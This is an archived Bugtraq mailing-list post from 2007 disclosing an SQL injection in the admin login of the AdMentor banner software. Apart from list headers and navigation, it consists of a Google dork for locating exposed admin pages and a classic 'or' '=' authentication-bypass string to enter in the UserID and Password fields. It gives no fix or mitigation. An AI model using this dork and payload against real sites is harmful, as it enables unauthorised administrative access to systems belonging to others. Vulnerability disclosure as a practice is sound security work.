AdMentor (banners) admin SQL injection

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: AdMentor (banners) admin SQL injection
From: sn0oPy.team@xxxxxxxxx
Date: Sat, 27 Jan 2007 15:20:55 -0800
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
Reply-to: sn0oPy.team@xxxxxxxxx


* AdMentor (banners) admin SQL injection

* By : sn0oPy

* Risk : high

* Site : http://www.aspcode.net/products/admentor

* Dork : inurl:"admentor/admin"

* exploit :

         UserID = 'or' '='
            
         Password = 'or' '='
                 

* contact : sn0oPy.team@xxxxxxxxx

* greetz : [subzero], Avg Team(http://forums.avenir-geopolitique.net).

references : http://forums.avenir-geopolitique.net/viewtopic.php?t=2606

Prev by Date: gnopaste <= 0.5.3 (index.php) Remote File Include Vulnerability
Next by Date: Re: Fake: Open Conference Systems = 2.8.2 Remote File Inclusion
Previous by thread: AdMentor (banners) admin SQL injection
Next by thread: local Calendar System v1.1 (lcStdLib.inc) Remote File Include
Index(es):
- Date
- Thread